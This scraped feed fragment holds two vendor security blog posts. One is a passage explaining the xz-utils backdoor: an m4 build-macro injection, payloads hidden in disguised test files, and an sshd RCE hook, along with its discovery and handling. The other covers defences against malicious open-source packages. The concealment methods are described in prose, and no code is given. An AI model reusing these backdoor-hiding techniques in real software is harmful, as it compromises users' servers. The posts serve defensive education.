&lt;p&gt;One portion of the backdoor seems to be only in the distributed tarballs for the 5.6.0 and 5.6.1 versions, not in the git repositories and relies on a &lt;a href="https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63" rel="noopener noreferrer"&gt;single line in the build-to-host.m4&lt;/a&gt; macro file used by autoconf.  &lt;/p&gt;

&lt;p&gt;The other portion was in two supposed testfiles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;bad-3-corrupt_lzma2.xz&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;good-large_compressed.lzma&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These were &lt;a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7" rel="noopener noreferrer"&gt;committed&lt;/a&gt; by the GitHub account “Jia Tan” (&lt;a href="https://github.com/JiaT75" rel="noopener noreferrer"&gt;JiaT75&lt;/a&gt;) in the &lt;a href="https://github.com/tukaani-project/xz" rel="noopener noreferrer"&gt;xz repository&lt;/a&gt; on 23 Feb. It was an innocuous change adding testfiles (supposedly .lzma and .xz compressed blocks). Interestingly enough, the test files were not used by the tests!  &lt;/p&gt;

&lt;p&gt;The line in the &lt;code&gt;.m4&lt;/code&gt; file injects an obfuscated script (included in the tarball) to be executed at the end of configure if some conditions match. It modifies the Makefile for the &lt;em&gt;liblzma&lt;/em&gt; library to contain code that extracts data from the &lt;code&gt;.xz&lt;/code&gt; file, which after deobfuscation ends &lt;a href="https://www.openwall.com/lists/oss-security/2024/03/29/4/1" rel="noopener noreferrer"&gt;in this script&lt;/a&gt;, invoked at the end of configure.  &lt;/p&gt;

&lt;p&gt;It decides whether to modify the build process to inject code: only under GCC and the GCC linker, under Debian or rpm, and only for x86_64 Linux. When matched, the injected code intercepts execution by replacing two &lt;a href="https://sourceware.org/glibc/wiki/GNU_IFUNC" rel="noopener noreferrer"&gt;ifunc&lt;/a&gt; resolvers so certain calls are replaced. This causes the symbol tables to be parsed in memory (this takes time, which led to the detection, as explained later).&lt;/p&gt;

&lt;p&gt;Then things get interesting: The backdoor installs an audit hook into the dynamic linker, waiting for the &lt;code&gt;RSA_public_decrypt&lt;/code&gt; function symbol to arrive, which is redirected to a point into the backdoor code, which in turn calls back &lt;em&gt;libcrypto&lt;/em&gt;, presumably to perform normal authentication. And the payload activates if the running program has the process name &lt;code&gt;/usr/sbin/sshd&lt;/code&gt;. It was clear that SSH servers were the target.  &lt;/p&gt;

&lt;p&gt;Traditionally, sshd servers like OpenSSH were not linked with &lt;em&gt;liblzma&lt;/em&gt;, but sshd is &lt;a href="https://github.com/openssh/openssh-portable/pull/375" rel="noopener noreferrer"&gt;often patched&lt;/a&gt; to support systemd-notify so other services can start when sshd is running. And then liblzma is indirectly loaded by systemd, closing the circle.&lt;/p&gt;

&lt;p&gt;The backdoor is not yet fully analyzed, but it seems to be &lt;a href="https://news.ycombinator.com/item?id=39877312" rel="noopener noreferrer"&gt;allowing remote command execution&lt;/a&gt; (RCE) &lt;em&gt;with the privileges of the sshd daemon&lt;/em&gt;, running in a pre-authentication context. Info from the remote certificate, when matched by the backdoor, is decrypted with ChaCha20, and when it decrypts successfully it is passed to the &lt;code&gt;system()&lt;/code&gt;. So this is essentially a gated RCE, much worse than a mere public key bypass.  &lt;/p&gt;

&lt;p&gt;A later 5.6.1 tarball showed additional efforts to hide the traces, adding further obfuscation for symbol names, and trying to fix the errors seen. An &lt;strong&gt;extension mechanism&lt;/strong&gt; where additional test files were looked for certain signatures to add to the backdoor was also put in place.&lt;/p&gt;

&lt;p&gt;This fairly sophisticated attack could pass unnoticed until stable Linux distributions are reached. Fortunately, some people like to check why abnormal things happen.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Discovery of the XZ Backdoor Attack
&lt;/h2&gt;

&lt;p&gt;Many times injected malicious behavior is unearthed by chance or accident. A good example was a &lt;a href="https://github.com/remy/nodemon/issues/1442" rel="noopener noreferrer"&gt;deprecation warning&lt;/a&gt; (“Who cares about warnings?”) that led to the discovery of the &lt;a href="https://github.com/dominictarr/event-stream/issues/116" rel="noopener noreferrer"&gt;event-stream attack&lt;/a&gt; in Oct 2018. Another is the user who warned &lt;a href="https://about.codecov.io/security-update/" rel="noopener noreferrer"&gt;Codecov&lt;/a&gt; in April 2021 that their bash uploader script did not pass the checksum.&lt;/p&gt;

&lt;p&gt;Anomalies and odd symptoms with ssh logins (logins taking a lot of CPU and increased elapsed time, valgrind errors) aroused the curiosity of &lt;strong&gt;Andres Freund&lt;/strong&gt;, a vigilant PostgreSQL developer but not a security analyst (as he stated). After some investigation with OpenSSH on Debian Sid, he concluded that a response time problem relied on a library, &lt;em&gt;liblzma&lt;/em&gt;, part of the &lt;em&gt;xz-utils&lt;/em&gt; compression library. The reason: &lt;em&gt;“the upstream xz repository and the xz tarballs have been backdoored”&lt;/em&gt;.  &lt;/p&gt;

&lt;p&gt;On Mar 29 2024 Andres posted in Openwall the first analysis: &lt;a href="https://www.openwall.com/lists/oss-security/2024/03/29/4" rel="noopener noreferrer"&gt;“backdoor in upstream xz/liblzma leading to ssh server compromise”&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;The fact: XZ Utils 5.6.0 and 5.6.1 tarballs contain a backdoor. These tarballs were created and signed by the aforementioned Jia Tan account.  &lt;/p&gt;

&lt;p&gt;He &lt;a href="https://mastodon.social/@AndresFreundTec/112180083704606941" rel="noopener noreferrer"&gt;posted in Mastodon&lt;/a&gt; later that day, recognizing that the discovery was accidental and required a lot of coincidences. The comments from other users are worth reading.&lt;/p&gt;

&lt;p&gt;GitHub user thesamesam (aka Sam James) published a nice Gist &lt;a href="https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27" rel="noopener noreferrer"&gt;FAQ on the xz-utils backdoor&lt;/a&gt; where the attack was summarized, linking into more &lt;a href="https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27#analysis-of-the-payload" rel="noopener noreferrer"&gt;in-depth analyses&lt;/a&gt; of the attack payload.&lt;/p&gt;

&lt;p&gt;These analyses were technically juicy, and helped us to better understand the injection, which was highly elaborated:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://gynvael.coldwind.pl/?id=782" rel="noopener noreferrer"&gt;xz/liblzma: Bash-stage Obfuscation Explained&lt;/a&gt; – Nice analysis on the deobfuscation by the injection script, in four “stages”.
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl/post/3kowjkx2njy2b" rel="noopener noreferrer"&gt;Filippo Valsorda's bluesky thread&lt;/a&gt; – Analysis of the backdoor itself in RSA_public_decrypt, which shows its nature: an RCE, not auth bypass, and gated.
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504" rel="noopener noreferrer"&gt;XZ Backdoor Analysis by @smx-smx (WIP)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/Midar/xz-backdoor-documentation/wiki" rel="noopener noreferrer"&gt;xz backdoor documentation wiki&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This &lt;a href="https://www.linkedin.com/posts/thomas-roccia_infosec-xz-cybersecurity-activity-7180110597139697664-nzJL/" rel="noopener noreferrer"&gt;poster from Thomas Roccia&lt;/a&gt; shows part of the activity of JiaT75 on the GitHub repository, and how the injection script inserts the binary backdoor, further illustrating the &lt;strong&gt;xz backdoor explained&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8otdymoongztf11ep01j.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8otdymoongztf11ep01j.webp" alt=" " width="800" height="1120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How the incident was handled
&lt;/h2&gt;

&lt;p&gt;Disclosure by Andreas Freund was cautious because, in his own words:  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Given the apparent upstream involvement, I have not reported an upstream bug. As I initially thought it was a debian specific issue, I sent a more preliminary report to &lt;a href="mailto:security@...ian.org"&gt;security@...ian.org&lt;/a&gt;. Subsequently, I reported the issue to &lt;a href="mailto:distros@"&gt;distros@&lt;/a&gt;. CISA was notified by a distribution.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Red Hat assigned this issue &lt;strong&gt;CVE-2024-3094&lt;/strong&gt;. Then the word circulated like wildfire.&lt;/p&gt;

&lt;p&gt;Lasse Collin, the other maintainer for XZ, added a &lt;a href="https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00" rel="noopener noreferrer"&gt;new commit&lt;/a&gt; on Sat 30 Mar titled &lt;em&gt;“CMake: Fix sabotaged Landlock sandbox check”&lt;/em&gt;. He promptly disclosed the issue in the &lt;a href="https://tukaani.org/xz-backdoor/" rel="noopener noreferrer"&gt;XZ Utils backdoor advisory&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;CVE references: &lt;a href="https://access.redhat.com/security/cve/CVE-2024-3094" rel="noopener noreferrer"&gt;CVE-2024-3094&lt;/a&gt; | &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3094" rel="noopener noreferrer"&gt;MITRE&lt;/a&gt; | &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-3094" rel="noopener noreferrer"&gt;NVD&lt;/a&gt; | &lt;a href="https://ubuntu.com/security/CVE-2024-3094" rel="noopener noreferrer"&gt;Ubuntu&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;CISA on Mar 29th released an &lt;a href="https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094" rel="noopener noreferrer"&gt;alert&lt;/a&gt; recommending downgrade to 5.4.6.  &lt;/p&gt;

&lt;p&gt;GitHub repositories under the Tukaani org were disabled. The GitHub accounts &lt;a href="https://github.com/JiaT75" rel="noopener noreferrer"&gt;JiaT75&lt;/a&gt; and Larhzu were suspended.  &lt;/p&gt;

&lt;p&gt;Vendors reacted quickly with &lt;a href="https://github.com/Neo23x0/signature-base/pull/313/commits/b835dc7973447af6f75a627907c9e4168a13bb19" rel="noopener noreferrer"&gt;Yara rules&lt;/a&gt;, detections in tools like &lt;a href="https://www.linkedin.com/feed/update/urn:li:activity:7179889480785367040/" rel="noopener noreferrer"&gt;Sysdig&lt;/a&gt; and &lt;a href="https://unit42.paloaltonetworks.com/threat-brief-xz-utils-cve-2024-3094/" rel="noopener noreferrer"&gt;PAN&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;We are now in the Eradication and Recovery phase. Other projects by JiaT75 (e.g. &lt;a href="https://github.com/libarchive/libarchive/issues/2103" rel="noopener noreferrer"&gt;libarchive&lt;/a&gt;, &lt;a href="https://github.com/google/oss-fuzz/pull/10667" rel="noopener noreferrer"&gt;oss-fuzz&lt;/a&gt;) are under review.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who is under the attack?
&lt;/h2&gt;

&lt;p&gt;Either the GitHub JiaT75 account was compromised (GitHub recently mandated 2FA) or the user behind the account turned malicious. Evidence points to a possible &lt;strong&gt;APT&lt;/strong&gt;, given sophistication.  &lt;/p&gt;

&lt;p&gt;Discussion on &lt;a href="https://news.ycombinator.com/item?id=39866275" rel="noopener noreferrer"&gt;Hacker News&lt;/a&gt; sheds more light.&lt;/p&gt;

&lt;h2&gt;
  
  
  Was the XZ backdoor attack preventable?
&lt;/h2&gt;

&lt;p&gt;Extremely difficult:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Injected in unused test files
&lt;/li&gt;
&lt;li&gt;Hidden in tarball macro files
&lt;/li&gt;
&lt;li&gt;Hard to verify provenance automatically
&lt;/li&gt;
&lt;li&gt;Commits looked legitimate until evidence piled up
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some commits trying to “fix valgrind crashes” (&lt;a href="https://git.tukaani.org/?p=xz.git;a=commit;h=e5faaebbcf02ea880cfc56edc702d4f7298788ad" rel="noopener noreferrer"&gt;example&lt;/a&gt;) were actually exploit fixes.  &lt;/p&gt;

&lt;p&gt;Probably the best prevention was Linux distro release staging, preventing quick spread to stable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8x5wncikniy99xlp0dr.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb8x5wncikniy99xlp0dr.webp" alt=" " width="725" height="775"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Lessons Learned from XZ Backdoor Attack
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Backdoors = internal threat risk
&lt;/li&gt;
&lt;li&gt;Attacks bypass normal reviews
&lt;/li&gt;
&lt;li&gt;Audit build systems, not just source
&lt;/li&gt;
&lt;li&gt;Provenance for binary artifacts still unsolved
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As &lt;a href="https://doublepulsar.com/inside-the-failed-attempt-to-backdoor-ssh-globally-that-got-caught-by-chance-bbfe628fafdd" rel="noopener noreferrer"&gt;Kevin Beaumont&lt;/a&gt; said:  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“When the upstream is tainted, everyone drinks poisoned water downstream.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The early discovery limited the impact. As in &lt;em&gt;Men in Black III&lt;/em&gt;: “That was a close one.”&lt;/p&gt;

&lt;p&gt;✍️ &lt;em&gt;Originally published at &lt;a href="https://xygeni.io/blog/xz-backdoor-that-was-a-close-one/" rel="noopener noreferrer"&gt;Xygeni.io Blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>cybersecurity</category>
      <category>appsec</category>
    </item>
    <item>
      <title>Protecting Against Open Source Malicious Packages: What Does (Not) Work</title>
      <dc:creator>Luis Manuel Rodriguez Berzosa</dc:creator>
      <pubDate>Tue, 29 Jul 2025 12:14:59 +0000</pubDate>
      <link>https://dev.to/xygenisecurity/protecting-against-open-source-malicious-packages-what-does-not-work-iaj</link>
      <guid>https://dev.to/xygenisecurity/protecting-against-open-source-malicious-packages-what-does-not-work-iaj</guid>
      <description>&lt;p&gt;This is the third episode in a series of articles about the most prevalent kind of software supply chain attacks: those that abuse a public registry of open-source software components. After analyzing in the previous episode &lt;em&gt;“&lt;a href="https://xygeni.io/blog/anatomy-of-malicious-packages-what-are-the-trends/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;Anatomy of Malicious Packages: What Are the Trends?&lt;/a&gt;”&lt;/em&gt; how the bad actors inject malicious behavior into new or existing published components, we are ready to put on our firefighting jackets and examine how we can successfully block malicious software delivered this way, or alternatively, deal with a potentially serious cyber incident because we took the wrong approach.&lt;/p&gt;

&lt;p&gt;Most security-aware professionals have ideas about how to handle this threat. We have heard security managers saying without hesitation that SCA tools already tell you when a package version is malware. Or that they depend on well-known, highly reviewed software components, where any malware would be promptly detected and removed. They use open minor/patch versions for automatically getting vulnerability fixes, and that is the proper, recommended way to lower the risk on open source dependencies, following the “patch early, patch often” principle.&lt;/p&gt;

&lt;p&gt;In this episode, we will review why these ideas are wrong, and how such misconceptions are contributing to the popularity of this attack mechanism, and to an overwhelming risk that organizations are experiencing. We will end with what does work, and which is the effort and resources involved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common Misconceptions
&lt;/h2&gt;

&lt;p&gt;During our journey with software security, we saw the attack techniques evolving and a wide range of ideas from security-conscious people. Organizations often misunderstand what works against this threat, so first we will examine what does not work, condensed in the following, not exhaustive, list of misconceptions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Misconception #1: SCA tools already report malicious components
&lt;/h3&gt;

&lt;p&gt;Indeed! But after the fact… When probably it is too late if the element was used in a software build, and the bad actors have already gained a foothold in a developer or CI/CD host. Secrets might have been exfiltrated, additional malware downloaded and installed, and perhaps the adversary moved laterally and already gained access elsewhere.&lt;/p&gt;

&lt;p&gt;Software Composition Analysis (SCA) tools were designed to identify potential known vulnerabilities. Modern tools do a great job by augmenting the signal-noise ratio, determining if the vulnerability is actually reachable or exploitable. But they are useless against new malware. Think of a malicious component as a zero-day vulnerability: Only when its malicious behavior is detected, the component is reported to the holding registry, which after a review by a security team is confirmed as malicious and removed from the registry [1]. &lt;/p&gt;

&lt;p&gt;At that point, the world (including SCAs) knows that installing or using the component (or some version(s) of an existing component) is not a good thing. But this is when the component is not available from the registry. Knowing that I have vulnerabilities in third-party components, or even components that were categorized as malicious by the registry is good, but unfortunately SCA or common audit tools do not help in this context. Unless the SCA/audit tool can really know in advance that a component is malicious before it is used at your organization.&lt;/p&gt;

&lt;p&gt;Remember, any solution against malicious open-source components must detect them on-the-fly, between when the component is published in the registry and when the component (version) is first used at your organization. And that includes transitive components.&lt;/p&gt;

&lt;h3&gt;
  
  
  Misconception #2: Controlling installation scripts at build time prevents malicious behavior from open-source components
&lt;/h3&gt;

&lt;p&gt;Various package managers offer the ability to run scripts (included in the component tarball [2]), for legitimate reasons, such as compiling required items on different platforms, generating code, or running tests, and we should all know that they can be abused by bad actors if malicious scripts are included in the tarball, or if the attacker can make a malicious script run instead of the good one.&lt;/p&gt;

&lt;p&gt;Knowing this, we can configure the package manager to ignore scripts. For example, with NPM the &lt;code&gt;--ignore-scripts&lt;/code&gt; flag (or a configuration property in the &lt;code&gt;.npmrc&lt;/code&gt; file) skips the scripts during installation. This may produce some issues because running scripts is common in many ecosystems: Some package managers do not even permit disabling script execution (hint: prompt “Which package managers do not permit disabling the execution of install scripts?” in your favorite AI). But this does not protect in general (we need to enforce that the skip disable configuration is everywhere). &lt;/p&gt;

&lt;p&gt;And when the malicious behavior is not located in install scripts but in the software to execute at runtime, this option alone does not protect us. &lt;/p&gt;

&lt;h3&gt;
  
  
  Misconception #3: Version pinning prevents malicious components from being installed
&lt;/h3&gt;

&lt;p&gt;There is a tradeoff between patching early and often with open versions (letting the package manager automatically install new updates when available for security fixes) and version pinning (having all the direct and transitive dependencies for a software at a fixed version). The security principles are stubborn and sometimes contradictory, as happens with “patch early, patch often” and “upgrading should not be taken lightly”.&lt;/p&gt;

&lt;p&gt;Some package managers make automatic updates with server ranges the recommended way. Great if you also want to receive the malicious updates! Yes, components must be updated to receive security fixes that close vulnerabilities as soon as possible, but … never let the package manager do this automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  Misconception #4: Using trusted components is safe. Any malicious version would be promptly found, disclosed and removed.
&lt;/h3&gt;

&lt;p&gt;Why is a component trusted? Possibly because it is highly popular, with many eyeballs looking for vulnerabilities, a large number of contributors for maintenance, with multiple core maintainers who diligently review all pull requests. The reality is quite different. Some essential components are maintained by a single, unpaid developer. Widely used frameworks have a few regular contributors, with a quickly decreasing number of commits per maintainer (popular projects have a long tail of contributors that perform some drive-by commit and never come back). And popular projects with a single maintainer abound.&lt;/p&gt;

&lt;p&gt;Imagine yourself saying “Oh, we are using Spring Boot / Angular / React / PyTorch / official base Docker images, so the risk you are talking about is pretty low.” Perhaps that is true, we security vendors scare-mongering all the time, and interfering with development teams to mitigate a debatable risk is nonsense. You might be tempted to jump to the risk acceptance paragraph (in the next section) and all done. Unfortunately, the most popular components are targets for bad actors, and for example, the popular PyTorch library was attacked in the past.&lt;/p&gt;

&lt;p&gt;“Promptly found, disclosed, and removed”. It takes days for a new malicious component to be removed from the public registry. Registries are cautious about removing a component version, for the good. Our experience is that once reported from our side, the median time for the registry to remove the affected version is 39 hours, more than a day and a half. There are malicious components that are a week after our initial reporting in the registry before removal. And in some cases, the component is removed only after a victim or an incident response company reports an incident involving the component.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Does NOT Work Against Malicious Components
&lt;/h2&gt;

&lt;p&gt;Any unspecific approach will fail miserably. This is a certainty, you are not providing effective countermeasures for the risk associated with this threat.&lt;/p&gt;

&lt;p&gt;Traditional SCA tools tell you about known malware but have a large exposure window. Unless they are proactively performing malware detection with enforced blocking of malicious components, they do not work against this threat.&lt;/p&gt;

&lt;p&gt;Disabling installation scripts could help but needs to be enforced everywhere a component needs to be installed. Same with version pinning, as versions cannot be pinned from a safe initial state forever.&lt;/p&gt;

&lt;p&gt;Assuming that popular components get enough attention that they cannot be injected with unintended behavior in a supply chain attack without an almost instantaneous detection to prevent any damage is naive and risky. You don’t want to live on the edge, do you?&lt;/p&gt;

&lt;p&gt;If you stop at this point, then risk acceptance is the only thing you can do: This is a decision that needs to be documented in your threat model/risk assessment, including the rationale for accepting the risk and its potential implications. Raise awareness by communicating it to management and other relevant parties. Some contingency could be planned when a malicious component is installed or included in your software, but this is hard because attackers have many paths to follow. The details of a supply chain attack based on the use of a malicious component will drastically change the public disclosure of the incident, which probably is mandatory under your organization’s regulatory framework. You may also address compensating controls or transfer risk e.g. with insurance.&lt;/p&gt;

&lt;p&gt;However, there are controls that address the threat and should be considered if you are not satisfied with risk acceptance. Please read on.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Does Work Against Attacks Using Malicious Components
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Solid Version Handling
&lt;/h3&gt;

&lt;p&gt;Version pinning with controlled and informed version bumps is the way to go, to balance the need for removing vulnerabilities without receiving malware. But remember misconception #3: Version pinning alone does not suffice to block malicious code coming from new versions, because you will need in the future to update versions in any direct or indirect dependency. At that moment you need evidence strong enough that all modified versions do not contain malware.&lt;/p&gt;

&lt;h3&gt;
  
  
  Early Warning
&lt;/h3&gt;

&lt;p&gt;One approach to the problem of malicious components is an early warning system (named here as Malware Early Warning or MEW), where new versions published (for new or existing components) are analyzed by a detection engine, which when enough evidence is found may classify the new version as potentially malicious. &lt;/p&gt;

&lt;p&gt;Automation is essential here, as it is impossible to manually review all the new components at the current publishing rate. So the detection engine needs to combine a variety of techniques, perhaps including static, dynamic, and capability analysis, user reputation, and evidence coming from discrepancies between the component metadata and the tarball contents, or between tarball and the source repository where the component supposedly comes from.&lt;/p&gt;

&lt;p&gt;There is a dark zone between the publishing time and when the engine analyzes the component contents, but it should not exceed a few minutes. The scheme can be modified, for example by waiting for new components to be analyzed before allowing them to be installed and used in the software build pipelines, or analyze them on demand when needed. A component at a given version is immutable [3], so it needs to be analyzed only once.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n2fp0t1vt8jqhqzljnq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3n2fp0t1vt8jqhqzljnq.png" alt=" " width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Full automation is not possible, and a security review for potentially malicious components is needed. Beware of digital panacea proponents: AI and Machine Learning are not developed enough to take the last word when it comes to confirming if a suspect component has malware. Sure, machine learning plays a key role in the detection engine in classifying the input component from the raw evidence captured, but once the component is “quarantined” the final word is on the manual review by a security team with experience in malicious components. This confirms any potential malware or re-classifies it as safe. And the time period is in the hours range.&lt;/p&gt;

&lt;p&gt;The registry reports on the malicious version/component; the registry then performs its review to confirm and proceeds to public disclosure and removal from the registry. Some registries keep a security holding package. The time range here is the days or weeks since the publication, which is the ‘dwell time’ or ‘exposure window’ for most malicious components.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz847v5s0tsb9j5gnfs2w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz847v5s0tsb9j5gnfs2w.png" alt=" " width="800" height="328"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Is it possible to know if a component version is malicious?
&lt;/h2&gt;

&lt;p&gt;So for early warning, we need to give a satisfactory answer to this question: &lt;strong&gt;How can I know that a library or package is (not) malicious?&lt;/strong&gt; How to gather enough evidence of malicious behavior? Possible, but difficult, as the adversaries use much ingenuity to avoid detection. There are different approaches, each with pros and cons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static analysis&lt;/strong&gt; can examine all execution paths, check for techniques used by attackers without running the component, and perform preprocessing tasks like de-obfuscation or deciphering. As attackers try to hide their mischief, obfuscation attempts are indeed evidence of malware (but note that legit components obfuscate code for preserving intellectual property, contradicting “open source”). Only a minority of highly sophisticated attacks with strong obfuscation need sandboxing, but such strong obfuscation is a tell-tale sign of maliciousness. Please note that conventional SAST tools were designed for unintentional vulnerabilities, not for malicious intent like backdoors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dynamic analysis&lt;/strong&gt; runs the component and examines the response by instrumenting the runtime, typically by providing a sandboxed environment. Malicious behavior triggered under certain conditions may pass undetected: please note that malware may use evasion techniques like Virtualization/Sandbox Evasion to activate only when not under scrutiny, and also a tell-tale sign of malicious activity for any static analysis engine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Capabilities analysis&lt;/strong&gt; considers what the component does: where it connects to, which files it accesses, which commands or programs are run, the terminal or device I/O performed, or which system calls are invoked. This fingerprinting of behavior could be compared (for an existing component) across versions, so when unexpected behavior is detected, that evidence could raise suspicion of potential malicious activity injected in the new version. This approach follows the triage steps that security analysts follow when faced with potential malware: an inspection using strings or similar tools. This approach detects malicious behavior regardless of triggering conditions and works when no source code is available.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Context analysis&lt;/strong&gt; collects information about how the component was published and by whom. Bad actors’ campaigns often use a new user account(s) not subject to any strict vetting process. Tracking past activity may give insights into the underlying user, mostly for anomalies that may hint at a potential compromise. Reputation is so hard to earn and so easy to lose! A user with no past activity is neutral, but karma pursues the malevolent. Hacktivists, or normal users who have their publishing credentials stolen should be tracked carefully.&lt;/p&gt;

&lt;p&gt;Another contextual information is any discrepancy between the source repository supposedly used to create the component tarball and the contents of the tarball itself. And also following good practices, like creating tags or releases in the source repository matching the versions of the component published in the public registry. When the source repository at a particular commit is tagged with release, and then suddenly one version fails to follow it, that alone is strong evidence that the component could be tainted: the bad actor might have compromised the account used for publishing the component, but has no write permissions in the source code repository). Many attacks are routinely detected using these rules: for example, the Ledger attack could be easily detected along these lines. Context analysis, therefore, identifies such anomalies in the publishing process.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dependency Firewalling
&lt;/h2&gt;

&lt;p&gt;A different approach is to have a comprehensive whitelist of components for all dependency graphs used in your software, so in any build pipeline run in your organization only approved component versions can be installed and used. The “firewall” is enforced using an internal registry where the tarballs for the allowed component versions are served (cached or proxied). Please note that any whitelist will not work unless you have the technology for classifying any new version as reasonably safe so it can be added to the whitelist. &lt;/p&gt;

&lt;p&gt;Please note that early warning (quick detection as soon as possible after the new version publication) needs to be combined with some way to use that information proactively to block the component affecting the build pipelines or the developers’ machines [4]. We call this “dependency firewalling”: a quarantine mechanism for protecting automated builds from malicious packages. Internal packages and image registries are good to insulate organizations from outer evil, but evidence strong enough is necessary to make quarantine effective.&lt;/p&gt;

&lt;h2&gt;
  
  
  Runtime Sandboxing
&lt;/h2&gt;

&lt;p&gt;An alternative approach for detection at publishing time is to analyze behavior at runtime. The idea is to capture the expected behavior from the software and detect (or block) any anomalies that are found. This line of action has the problem of having to instrument the runtime for monitoring or blocking, and it is a promising idea that will be added to the arsenal of protection mechanisms against the malicious component pest.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setting a Comprehensive Strategy
&lt;/h2&gt;

&lt;p&gt;The recommended strategy needs to combine different techniques in the software development process, taking control of the version updates to block incoming malicious components. We must accommodate version pinning to avoid automatic infection with updating versions to get fixes for the vulnerabilities that matter; a quick and efficient assessment of direct and indirect dependencies during version updates to have enough evidence that they are not malware-ridden. Builds of software that depend on known malicious components must be blocked. And all must be enforced.&lt;/p&gt;

